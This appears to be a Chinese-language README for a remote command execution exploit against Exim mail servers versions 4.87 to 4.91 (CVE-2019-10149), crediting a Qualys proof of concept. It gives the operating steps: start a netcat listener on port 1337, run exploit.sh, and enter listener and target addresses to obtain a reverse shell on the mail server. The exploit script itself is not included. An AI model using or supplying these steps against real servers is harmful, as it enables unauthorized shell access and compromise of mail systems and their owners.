从存在漏洞的 exim 服务远程执行命令进入 shell。
受影响版本从 4.87 到 4.91(含)。查看 https://nvd.nist.gov/vuln/detail/cve-2019-10149。
以下脚本基于 Qualys PoC。查看 https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html。
建议使用两个终端
T1 $ nc -nlvp 1337
T2 $ bash exploit.sh
$ Listener IP: 192.168.0.1
$ Listener Port: 1337
$ Exim IP: 10.10.0.1
$ Exim Port: 25